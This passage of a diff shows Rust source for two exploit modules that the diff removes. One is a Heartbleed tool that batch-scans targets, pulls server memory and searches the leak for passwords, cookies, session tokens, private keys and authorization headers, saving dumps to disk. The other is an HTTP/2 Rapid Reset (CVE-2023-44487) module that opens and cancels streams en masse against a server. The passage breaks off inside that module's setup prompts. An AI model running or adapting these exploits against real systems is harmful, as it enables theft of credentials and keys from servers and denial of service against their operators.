||||
config.payload_size = 0x4000;
|
||||
}
|
||||
}
|
||||
|
||||
print!("{}", format!("Enter number of heartbeat attempts [default: {}]: ", config.heartbeat_attempts).green());
|
||||
std::io::stdout().flush()?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
if let Ok(attempts) = input.trim().parse::<usize>() {
|
||||
if attempts > 0 && attempts <= 20 {
|
||||
config.heartbeat_attempts = attempts;
|
||||
} else if attempts > 20 {
|
||||
println!("{}", "Warning: Too many attempts, capped at 20".yellow());
|
||||
config.heartbeat_attempts = 20;
|
||||
}
|
||||
}
|
||||
|
||||
if target.is_empty() {
|
||||
print!("{}", "Use batch mode? (scan multiple targets from file) [y/N]: ".green());
|
||||
std::io::stdout().flush()?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
|
||||
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
|
||||
print!("{}", "Enter batch file path: ".green());
|
||||
std::io::stdout().flush()?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let batch_file = input.trim().to_string();
|
||||
|
||||
if !batch_file.is_empty() {
|
||||
if Path::new(&batch_file).exists() {
|
||||
config.batch_file = Some(batch_file);
|
||||
} else {
|
||||
println!("{}", format!("Warning: File '{}' not found, skipping batch mode", batch_file).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "Configuration Summary:".cyan().bold());
|
||||
println!(" Port: {}", config.port);
|
||||
println!(" Payload Size: {} bytes", config.payload_size);
|
||||
println!(" Heartbeat Attempts: {}", config.heartbeat_attempts);
|
||||
if let Some(ref batch) = config.batch_file {
|
||||
println!(" Batch File: {}", batch);
|
||||
}
|
||||
println!();
|
||||
|
||||
Ok(config)
|
||||
}
|
||||
|
||||
pub async fn run_with_config(target: &str, config: ScanConfig) -> Result<()> {
|
||||
if let Some(batch_file) = &config.batch_file {
|
||||
run_batch_scan(batch_file, &config).await
|
||||
} else {
|
||||
scan_single_target(target, &config).await
|
||||
}
|
||||
}
|
||||
|
||||
async fn run_batch_scan(batch_file: &str, config: &ScanConfig) -> Result<()> {
|
||||
let file = File::open(batch_file)
|
||||
.with_context(|| format!("Failed to open batch file: {}", batch_file))?;
|
||||
let reader = BufReader::new(file);
|
||||
|
||||
let targets: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|line| line.ok())
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty() && !line.starts_with('#'))
|
||||
.collect();
|
||||
|
||||
if targets.is_empty() {
|
||||
bail!("No valid targets found in batch file");
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Loaded {} targets from batch file", targets.len()).cyan());
|
||||
println!("{}", format!("[*] Starting concurrent scan with max {} concurrent connections\n", MAX_CONCURRENT).cyan());
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
for target in targets {
|
||||
let config_clone = config.clone();
|
||||
let sem = semaphore.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
scan_single_target(&target, &config_clone).await
|
||||
}));
|
||||
}
|
||||
|
||||
while let Some(result) = tasks.next().await {
|
||||
if let Err(e) = result {
|
||||
eprintln!("{}", format!("[-] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", "\n[*] Batch scan complete".green().bold());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn scan_single_target(target: &str, config: &ScanConfig) -> Result<()> {
|
||||
let raw = target.trim();
|
||||
|
||||
if raw.is_empty() {
|
||||
bail!("Target address cannot be empty");
|
||||
}
|
||||
|
||||
let stripped = raw
|
||||
.trim_start_matches('[')
|
||||
.trim_end_matches(']');
|
||||
|
||||
let host = if stripped.contains(':') && !stripped.contains('.') {
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
stripped.to_string()
|
||||
};
|
||||
|
||||
let addr = format!("{}:{}", host, config.port);
|
||||
|
||||
println!("{}", format!("[*] Target: {} | Payload: {} bytes | Attempts: {}",
|
||||
addr, config.payload_size, config.heartbeat_attempts).cyan());
|
||||
|
||||
let mut all_leaked_data = Vec::new();
|
||||
|
||||
for attempt in 1..=config.heartbeat_attempts {
|
||||
println!("{}", format!("[*] Heartbeat attempt {}/{}", attempt, config.heartbeat_attempts).cyan());
|
||||
|
||||
match scan_with_retry(&addr, config.payload_size).await {
|
||||
Ok(Some(data)) => {
|
||||
println!("{}", format!("[+] Attempt {} leaked {} bytes", attempt, data.len()).green());
|
||||
all_leaked_data.extend_from_slice(&data);
|
||||
}
|
||||
Ok(None) => {
|
||||
println!("{}", format!("[-] Attempt {} failed to leak data", attempt).yellow());
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Attempt {} error: {}", attempt, e).red());
|
||||
}
|
||||
}
|
||||
|
||||
if attempt < config.heartbeat_attempts {
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}
|
||||
}
|
||||
|
||||
if all_leaked_data.is_empty() {
|
||||
println!("{}", format!("[-] No data leaked from {} - likely not vulnerable\n", addr).red());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[+] Total leaked data: {} bytes", all_leaked_data.len()).green().bold());
|
||||
println!("{}", format!("[+] Server {} is VULNERABLE to Heartbleed!", addr).red().bold());
|
||||
println!();
|
||||
|
||||
analyze_leaked_data(&all_leaked_data);
|
||||
|
||||
let safe_filename = stripped
|
||||
.replace(':', "_")
|
||||
.replace('/', "_")
|
||||
.replace('\\', "_");
|
||||
let filename = format!("leak_dump_{}.bin", safe_filename);
|
||||
|
||||
save_leak_dump(&filename, &all_leaked_data)?;
|
||||
println!("{}", format!("[+] Full leak dump saved to: {}\n", filename).green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn scan_with_retry(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
|
||||
let mut backoff = INITIAL_BACKOFF_MS;
|
||||
|
||||
for retry in 0..MAX_RETRIES {
|
||||
if retry > 0 {
|
||||
println!("{}", format!("[*] Retry {}/{} after {}ms...", retry, MAX_RETRIES - 1, backoff).yellow());
|
||||
sleep(Duration::from_millis(backoff)).await;
|
||||
backoff *= 2;
|
||||
}
|
||||
|
||||
match perform_heartbleed_test(addr, payload_size).await {
|
||||
Ok(data) => return Ok(data),
|
||||
Err(e) if retry < MAX_RETRIES - 1 => {
|
||||
println!("{}", format!("[-] Connection failed: {} - retrying...", e).yellow());
|
||||
continue;
|
||||
}
|
||||
Err(e) => return Err(e),
|
||||
}
|
||||
}
|
||||
|
||||
bail!("All retry attempts exhausted")
|
||||
}
|
||||
|
||||
async fn perform_heartbleed_test(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address format")?
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
|
||||
let mut stream = match stream_result {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => bail!("Connection failed: {}", e),
|
||||
Err(_) => bail!("Connection timed out"),
|
||||
};
|
||||
|
||||
stream.write_all(&build_client_hello()).await
|
||||
.context("Failed to send Client Hello")?;
|
||||
stream.flush().await
|
||||
.context("Failed to flush after Client Hello")?;
|
||||
|
||||
let mut response = vec![0u8; 4096];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
|
||||
match read_result {
|
||||
Ok(Ok(n)) if n > 0 => {},
|
||||
Ok(Ok(_)) => bail!("No response to Client Hello"),
|
||||
Ok(Err(e)) => bail!("Read error: {}", e),
|
||||
Err(_) => bail!("Read timed out"),
|
||||
}
|
||||
|
||||
stream.write_all(&build_heartbeat_request(payload_size)).await
|
||||
.context("Failed to send Heartbeat request")?;
|
||||
stream.flush().await
|
||||
.context("Failed to flush after Heartbeat")?;
|
||||
|
||||
let mut leak = vec![0u8; 65535];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
|
||||
let n = match read_result {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
Ok(Ok(_)) => return Ok(None),
|
||||
Ok(Err(_)) => return Ok(None),
|
||||
Err(_) => return Ok(None),
|
||||
};
|
||||
|
||||
if n <= 5 {
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
Ok(Some(leak[..n].to_vec()))
|
||||
}
|
||||
|
||||
fn analyze_leaked_data(data: &[u8]) {
|
||||
println!("{}", "[*] Analyzing leaked data for sensitive patterns...\n".cyan().bold());
|
||||
|
||||
let data_str = String::from_utf8_lossy(data);
|
||||
|
||||
let password_patterns = vec![
|
||||
(r"password[=:]\s*[^\s&]{3,}", "Password"),
|
||||
(r"passwd[=:]\s*[^\s&]{3,}", "Password"),
|
||||
(r"pwd[=:]\s*[^\s&]{3,}", "Password"),
|
||||
(r"pass[=:]\s*[^\s&]{3,}", "Password"),
|
||||
];
|
||||
|
||||
for (pattern, label) in password_patterns {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
for cap in re.find_iter(&data_str) {
|
||||
println!("{}", format!("[!] {} found: {}", label, cap.as_str()).red().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let cookie_re = Regex::new(r"Cookie:\s*([^\r\n]+)").ok();
|
||||
if let Some(re) = cookie_re {
|
||||
for cap in re.captures_iter(&data_str) {
|
||||
if let Some(cookie) = cap.get(1) {
|
||||
println!("{}", format!("[!] Cookie found: {}", cookie.as_str()).yellow().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let session_patterns = vec![
|
||||
r"PHPSESSID=[a-zA-Z0-9]{20,}",
|
||||
r"JSESSIONID=[a-zA-Z0-9]{20,}",
|
||||
r"session[_-]?id[=:][a-zA-Z0-9]{20,}",
|
||||
];
|
||||
|
||||
for pattern in session_patterns {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
for cap in re.find_iter(&data_str) {
|
||||
println!("{}", format!("[!] Session token found: {}", cap.as_str()).yellow().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let key_markers = vec![
|
||||
"-----BEGIN RSA PRIVATE KEY-----",
|
||||
"-----BEGIN PRIVATE KEY-----",
|
||||
"-----BEGIN EC PRIVATE KEY-----",
|
||||
"-----BEGIN DSA PRIVATE KEY-----",
|
||||
"-----BEGIN OPENSSH PRIVATE KEY-----",
|
||||
];
|
||||
|
||||
for marker in key_markers {
|
||||
if data_str.contains(marker) {
|
||||
println!("{}", format!("[!!!] PRIVATE KEY DETECTED: {}", marker).red().bold().on_yellow());
|
||||
}
|
||||
}
|
||||
|
||||
let auth_re = Regex::new(r"Authorization:\s*([^\r\n]+)").ok();
|
||||
if let Some(re) = auth_re {
|
||||
for cap in re.captures_iter(&data_str) {
|
||||
if let Some(auth) = cap.get(1) {
|
||||
println!("{}", format!("[!] Authorization header found: {}", auth.as_str()).yellow().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let email_re = Regex::new(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}").ok();
|
||||
if let Some(re) = email_re {
|
||||
let mut emails = std::collections::HashSet::new();
|
||||
for cap in re.find_iter(&data_str) {
|
||||
emails.insert(cap.as_str().to_string());
|
||||
}
|
||||
if !emails.is_empty() {
|
||||
println!();
|
||||
println!("{}", format!("[*] Email addresses found: {}", emails.len()).cyan());
|
||||
for (i, email) in emails.iter().take(5).enumerate() {
|
||||
println!(" {}: {}", i + 1, email);
|
||||
}
|
||||
if emails.len() > 5 {
|
||||
println!(" ... and {} more", emails.len() - 5);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Printable data preview (first 512 bytes):".cyan());
|
||||
println!("{}", printable_dump(&data[..data.len().min(512)]));
|
||||
}
|
||||
|
||||
fn save_leak_dump(filename: &str, data: &[u8]) -> Result<()> {
|
||||
let path = Path::new(filename);
|
||||
let mut file = File::create(path)
|
||||
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
|
||||
file.write_all(data)
|
||||
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn build_client_hello() -> Vec<u8> {
|
||||
let version: u16 = 0x0302;
|
||||
let time_now = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.unwrap_or_default()
|
||||
.as_secs() as u32;
|
||||
|
||||
let mut random = vec![];
|
||||
random.extend_from_slice(&time_now.to_be_bytes());
|
||||
random.extend_from_slice(&[0x42; 28]);
|
||||
|
||||
let cipher_suites: Vec<u16> = vec![
|
||||
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
|
||||
];
|
||||
|
||||
let mut hello = vec![];
|
||||
hello.extend_from_slice(&version.to_be_bytes());
|
||||
hello.extend_from_slice(&random);
|
||||
hello.push(0);
|
||||
hello.extend_from_slice(&((cipher_suites.len() * 2) as u16).to_be_bytes());
|
||||
for cs in &cipher_suites {
|
||||
hello.extend_from_slice(&cs.to_be_bytes());
|
||||
}
|
||||
hello.push(1);
|
||||
hello.push(0);
|
||||
|
||||
let mut extensions = vec![];
|
||||
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
|
||||
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
|
||||
extensions.push(0x01);
|
||||
|
||||
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
|
||||
hello.extend_from_slice(&extensions);
|
||||
|
||||
let mut handshake = vec![0x01];
|
||||
let len = (hello.len() as u32).to_be_bytes();
|
||||
handshake.extend_from_slice(&len[1..]);
|
||||
handshake.extend_from_slice(&hello);
|
||||
|
||||
build_tls_record(0x16, version, &handshake)
|
||||
}
|
||||
|
||||
fn build_heartbeat_request(length: u16) -> Vec<u8> {
|
||||
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
|
||||
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
|
||||
build_tls_record(0x18, 0x0302, &payload)
|
||||
}
|
||||
|
||||
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
|
||||
let mut record = vec![record_type];
|
||||
record.extend_from_slice(&version.to_be_bytes());
|
||||
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
|
||||
record.extend_from_slice(payload);
|
||||
record
|
||||
}
|
||||
|
||||
fn printable_dump(data: &[u8]) -> String {
|
||||
data.iter()
|
||||
.map(|b| match *b {
|
||||
32..=126 => *b as char,
|
||||
b'\n' => '\n',
|
||||
b'\r' | b'\t' => ' ',
|
||||
_ => '.',
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
pub mod heartbleed;
|
||||
@@ -1,445 +0,0 @@
|
||||
// CVE-2023-44487 - HTTP/2 Rapid Reset Denial of Service
|
||||
// Exploit Author: Madhusudhan Rajappa
|
||||
// Date: 29th August 2025
|
||||
// Version: HTTP/2.0
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use h2::client::Builder;
|
||||
use std::io::{self, Write};
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::timeout;
|
||||
use tokio_rustls::TlsConnector;
|
||||
|
||||
/// Displays module banner
|
||||
fn banner() {
|
||||
println!(
|
||||
"{}",
|
||||
r#"
|
||||
╔═══════════════════════════════════════════════════════════╗
|
||||
║ CVE-2023-44487 HTTP/2 Rapid Reset DoS Vulnerability ║
|
||||
║ Tester ║
|
||||
║ ║
|
||||
║ WARNING: Only use on systems you own or have ║
|
||||
║ permission to test! ║
|
||||
╚═══════════════════════════════════════════════════════════╝
|
||||
"#
|
||||
.cyan()
|
||||
);
|
||||
}
|
||||
|
||||
/// Normalize IPv6 host with brackets
|
||||
fn normalize_host(host: &str) -> String {
|
||||
let stripped = host.trim_matches(|c| c == '[' || c == ']');
|
||||
if stripped.contains(':') {
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
stripped.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Perform baseline test with normal HTTP/2 requests
|
||||
async fn baseline_test(
|
||||
host: &str,
|
||||
port: u16,
|
||||
use_ssl: bool,
|
||||
num_requests: usize,
|
||||
) -> Result<()> {
|
||||
println!("{}", format!("\n[*] Performing baseline test with {} normal requests...", num_requests).yellow());
|
||||
|
||||
let host_normalized = normalize_host(host);
|
||||
let addr = format!("{}:{}", host_normalized, port);
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address format")?
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream = TcpStream::connect(socket_addr).await?;
|
||||
|
||||
if use_ssl {
|
||||
let root_store = tokio_rustls::rustls::RootCertStore::empty();
|
||||
let config = tokio_rustls::rustls::ClientConfig::builder()
|
||||
.with_safe_defaults()
|
||||
.with_root_certificates(root_store)
|
||||
.with_no_client_auth();
|
||||
let connector = TlsConnector::from(std::sync::Arc::new(config));
|
||||
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
|
||||
.map_err(|_| anyhow!("Invalid server name"))?;
|
||||
let tls_stream = connector.connect(server_name, stream).await?;
|
||||
let (mut sender, connection) = Builder::new()
|
||||
.handshake::<_, bytes::BytesMut>(tls_stream)
|
||||
.await?;
|
||||
|
||||
// Spawn connection task
|
||||
tokio::spawn(async move {
|
||||
if let Err(e) = connection.await {
|
||||
eprintln!("Connection error: {:?}", e);
|
||||
}
|
||||
});
|
||||
|
||||
let mut successful = 0;
|
||||
let start = Instant::now();
|
||||
|
||||
for i in 0..num_requests {
|
||||
let request = http::Request::builder()
|
||||
.uri(format!("https://{}:{}/", host, port))
|
||||
.body(())
|
||||
.unwrap();
|
||||
|
||||
match sender.send_request(request, true) {
|
||||
Ok(_send_stream) => {
|
||||
// Request sent successfully with end_of_stream=true
|
||||
successful += 1;
|
||||
}
|
||||
Err(_) => {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if i < num_requests - 1 {
|
||||
tokio::time::sleep(Duration::from_millis(100)).await;
|
||||
}
|
||||
}
|
||||
|
||||
let duration = start.elapsed();
|
||||
println!("{}", format!("[+] Baseline Results:").green());
|
||||
println!(" Total Requests: {}", num_requests);
|
||||
println!(" Successful: {}", successful);
|
||||
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
|
||||
println!(" Duration: {:.3}s", duration.as_secs_f64());
|
||||
} else {
|
||||
let (mut sender, connection) = Builder::new()
|
||||
.handshake::<_, bytes::BytesMut>(stream)
|
||||
.await?;
|
||||
|
||||
// Spawn connection task
|
||||
tokio::spawn(async move {
|
||||
if let Err(e) = connection.await {
|
||||
eprintln!("Connection error: {:?}", e);
|
||||
}
|
||||
});
|
||||
|
||||
let mut successful = 0;
|
||||
let start = Instant::now();
|
||||
|
||||
for i in 0..num_requests {
|
||||
let request = http::Request::builder()
|
||||
.uri(format!("http://{}:{}/", host, port))
|
||||
.body(())
|
||||
.unwrap();
|
||||
|
||||
match sender.send_request(request, true) {
|
||||
Ok(_send_stream) => {
|
||||
// Request sent successfully with end_of_stream=true
|
||||
successful += 1;
|
||||
}
|
||||
Err(_) => {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if i < num_requests - 1 {
|
||||
tokio::time::sleep(Duration::from_millis(100)).await;
|
||||
}
|
||||
}
|
||||
|
||||
let duration = start.elapsed();
|
||||
println!("{}", format!("[+] Baseline Results:").green());
|
||||
println!(" Total Requests: {}", num_requests);
|
||||
println!(" Successful: {}", successful);
|
||||
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
|
||||
println!(" Duration: {:.3}s", duration.as_secs_f64());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Perform rapid reset attack test
|
||||
async fn rapid_reset_test(
|
||||
host: &str,
|
||||
port: u16,
|
||||
use_ssl: bool,
|
||||
num_streams: usize,
|
||||
delay_ms: u64,
|
||||
) -> Result<()> {
|
||||
println!("{}", format!("\n[*] Starting rapid reset test with {} streams...", num_streams).yellow());
|
||||
|
||||
let host_normalized = normalize_host(host);
|
||||
let addr = format!("{}:{}", host_normalized, port);
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address format")?
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream = TcpStream::connect(socket_addr).await?;
|
||||
|
||||
if use_ssl {
|
||||
let root_store = tokio_rustls::rustls::RootCertStore::empty();
|
||||
let config = tokio_rustls::rustls::ClientConfig::builder()
|
||||
.with_safe_defaults()
|
||||
.with_root_certificates(root_store)
|
||||
.with_no_client_auth();
|
||||
let connector = TlsConnector::from(std::sync::Arc::new(config));
|
||||
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
|
||||
.map_err(|_| anyhow!("Invalid server name"))?;
|
||||
let tls_stream = connector.connect(server_name, stream).await?;
|
||||
let (mut sender, connection) = Builder::new()
|
||||
.handshake::<_, bytes::BytesMut>(tls_stream)
|
||||
.await?;
|
||||
|
||||
// Spawn connection task
|
||||
let connection_task = tokio::spawn(async move {
|
||||
if let Err(e) = connection.await {
|
||||
eprintln!("Connection error: {:?}", e);
|
||||
}
|
||||
});
|
||||
|
||||
let mut created_streams = Vec::new();
|
||||
let start = Instant::now();
|
||||
|
||||
// Phase 1: Rapidly create streams
|
||||
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
|
||||
for i in 0..num_streams {
|
||||
let request = http::Request::builder()
|
||||
.uri(format!("https://{}:{}/", host, port))
|
||||
.header("user-agent", "CVE-2023-44487-Tester/1.0")
|
||||
.body(())
|
||||
.unwrap();
|
||||
|
||||
match sender.send_request(request, false) {
|
||||
Ok((_response_future, send_stream)) => {
|
||||
created_streams.push(send_stream);
|
||||
if delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let creation_duration = start.elapsed();
|
||||
println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());
|
||||
|
||||
// Phase 2: Rapidly reset all streams
|
||||
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
|
||||
let reset_start = Instant::now();
|
||||
let mut reset_count = 0;
|
||||
|
||||
for mut send_stream in created_streams {
|
||||
// Send RST_STREAM - send_stream has a send_reset method
|
||||
send_stream.send_reset(h2::Reason::CANCEL);
|
||||
reset_count += 1;
|
||||
|
||||
if delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
|
||||
}
|
||||
}
|
||||
|
||||
let reset_duration = reset_start.elapsed();
|
||||
let total_duration = start.elapsed();
|
||||
let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
|
||||
reset_count as f64 / reset_duration.as_secs_f64()
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
|
||||
println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
|
||||
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
|
||||
|
||||
// Phase 3: Analysis
|
||||
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
|
||||
|
||||
if reset_rate > 1000.0 {
|
||||
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
|
||||
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
|
||||
} else if reset_rate > 100.0 {
|
||||
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
|
||||
println!("{}", " Further testing may be needed".yellow());
|
||||
} else {
|
||||
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
|
||||
println!("{}", " This suggests some protection against the vulnerability".green());
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
drop(sender);
|
||||
let _ = timeout(Duration::from_secs(2), connection_task).await;
|
||||
} else {
|
||||
let (mut sender, connection) = Builder::new()
|
||||
.handshake::<_, bytes::BytesMut>(stream)
|
||||
.await?;
|
||||
|
||||
// Spawn connection task
|
||||
let connection_task = tokio::spawn(async move {
|
||||
if let Err(e) = connection.await {
|
||||
eprintln!("Connection error: {:?}", e);
|
||||
}
|
||||
});
|
||||
|
||||
let mut created_streams = Vec::new();
|
||||
let start = Instant::now();
|
||||
|
||||
// Phase 1: Rapidly create streams
|
||||
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
|
||||
for i in 0..num_streams {
|
||||
let request = http::Request::builder()
|
||||
.uri(format!("http://{}:{}/", host, port))
|
||||
.header("user-agent", "CVE-2023-44487-Tester/1.0")
|
||||
.body(())
|
||||
.unwrap();
|
||||
|
||||
match sender.send_request(request, false) {
|
||||
Ok((_response_future, send_stream)) => {
|
||||
created_streams.push(send_stream);
|
||||
if delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let creation_duration = start.elapsed();
|
||||
println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());
|
||||
|
||||
// Phase 2: Rapidly reset all streams
|
||||
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
|
||||
let reset_start = Instant::now();
|
||||
let mut reset_count = 0;
|
||||
|
||||
for mut send_stream in created_streams {
|
||||
// Send RST_STREAM - send_stream has a send_reset method
|
||||
send_stream.send_reset(h2::Reason::CANCEL);
|
||||
reset_count += 1;
|
||||
|
||||
if delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
|
||||
}
|
||||
}
|
||||
|
||||
let reset_duration = reset_start.elapsed();
|
||||
let total_duration = start.elapsed();
|
||||
let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
|
||||
reset_count as f64 / reset_duration.as_secs_f64()
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
|
||||
println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
|
||||
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
|
||||
|
||||
// Phase 3: Analysis
|
||||
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
|
||||
|
||||
if reset_rate > 1000.0 {
|
||||
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
|
||||
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
|
||||
} else if reset_rate > 100.0 {
|
||||
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
|
||||
println!("{}", " Further testing may be needed".yellow());
|
||||
} else {
|
||||
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
|
||||
println!("{}", " This suggests some protection against the vulnerability".green());
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
drop(sender);
|
||||
let _ = timeout(Duration::from_secs(2), connection_task).await;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Main entry point for auto-dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
banner();
|
||||
|
||||
// Parse target (could be host:port or just host)
|
||||
let (host, default_port) = if let Some(colon_pos) = target.rfind(':') {
|
||||
let h = &target[..colon_pos];
|
||||
let p = target[colon_pos + 1..].parse::<u16>().unwrap_or(443);
|
||||
(h.to_string(), p)
|
||||
} else {
|
||||
(target.to_string(), 443)
|
||||
};
|
||||
|
||||
// Interactive prompts
|
||||
let mut port_input = String::new();
|
||||
print!("{}", format!("Enter target port (default {}): ", default_port).cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut port_input)?;
|
||||
let port: u16 = port_input.trim().parse().unwrap_or(default_port);
|
||||
|
||||
let mut ssl_input = String::new();
|
||||
print!("{}", "Use SSL/TLS? (yes/no, default yes): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut ssl_input)?;
|
||||
let use_ssl = !ssl_input.trim().to_lowercase().starts_with('n');
|
||||
|
||||
let mut streams_input = String::new();
|
||||
print!("{}", "Number of streams for rapid reset test (default 100): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut streams_input)?;
|
||||
let num_streams: usize = streams_input.trim().parse().unwrap_or(100);
|
||||
|
||||
let mut delay_input = String::new();
|
||||
print!("{}", "Delay between operations in ms (default 1): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut delay_input)?;
|
||||
let delay_ms: u64 = delay_input.trim().parse().unwrap_or(1);
|
||||
|
||||
let mut baseline_input = String::new();
|
||||
print!("{}", "Run baseline test first? (yes/no, default yes): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut baseline_input)?;
|
||||
